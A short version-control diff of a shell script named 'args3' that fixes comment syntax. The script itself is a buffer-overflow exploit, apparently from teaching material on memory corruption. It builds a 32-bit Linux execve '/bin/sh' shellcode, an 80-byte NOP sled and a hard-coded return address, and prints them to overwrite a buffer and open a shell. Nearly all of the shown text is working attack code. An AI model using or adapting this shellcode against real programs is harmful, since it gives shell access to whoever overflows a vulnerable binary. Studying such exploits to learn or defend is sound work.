diff -r 3822d91a4639 -r c4008b31df8e programs/args3 --- a/programs/args3 Tue Oct 08 13:01:59 2013 +0100 +++ b/programs/args3 Wed Oct 09 15:51:03 2013 +0100 @@ -1,8 +1,8 @@ #!/bin/sh -// shellscript that overwrites the buffer with -// some payload for opening a shell (the payload -// cannot contain any \x00) +# shellscript that overwrites the buffer with +# some payload for opening a shell (the payload +# cannot contain any \x00) shellcode="\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x99\x52\x53\x89\xe1\xb0\x0b\xcd\x80" @@ -23,6 +23,6 @@ padding=`perl -e 'print "\x90" x 80'` -// need s correct address in order to run +# need s correct address in order to run printf $shellcode$padding"\xe8\xf8\xff\xbf\x00\x00\x00\x00"